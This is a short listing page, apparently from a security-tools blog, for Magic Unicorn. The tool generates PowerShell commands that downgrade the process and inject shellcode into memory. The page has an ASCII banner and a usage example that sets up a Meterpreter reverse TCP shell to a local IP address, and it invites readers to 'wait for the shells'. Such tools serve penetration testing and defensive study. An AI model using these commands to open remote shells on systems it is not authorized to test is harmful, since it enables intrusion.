Unicorn - Tool for using a PowerShell downgrade attack and inject shellcode straight into memory
Magic Unicorn is a simple tool for using a PowerShell downgrade
attack and inject shellcode straight into memory. Based on Matthew
Graeber's powershell attacks and the powershell bypass technique
presented by David Kennedy (TrustedSec) and Josh Kelly at Defcon 18.
Usage is simple, just run Magic Unicorn (ensure Metasploit is
installed and in the right path) and magic unicorn will automatically
generate a powershell command that you need to simply cut and paste the
powershell code into a command line window or through a payload delivery
system.
root@bt:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
Unicorn is a PowerShell injection tool utilizing Matthew Graebers attack
and expanded to automatically downgrade the process if a 64 bit
platform is detected. This is useful in order to ensure that we can
deliver a payload with just one set of shellcode instructions. This will
work on any version of Windows with PowerShell installed. Simply copy
and paste the output and wait for the shells.
Usage:
python unicorn.py payload reverse_ipaddr port Example: python unicorn.py windows/meterpreter/reverse_tcp 192.168.1.5 443
Unicorn - Tool for using a PowerShell downgrade attack and inject shellcode straight into memory
![Unicorn - Tool for using a PowerShell downgrade attack and inject shellcode straight into memory]()
Reviewed by Zion3R
on
10:44 PM
Rating:
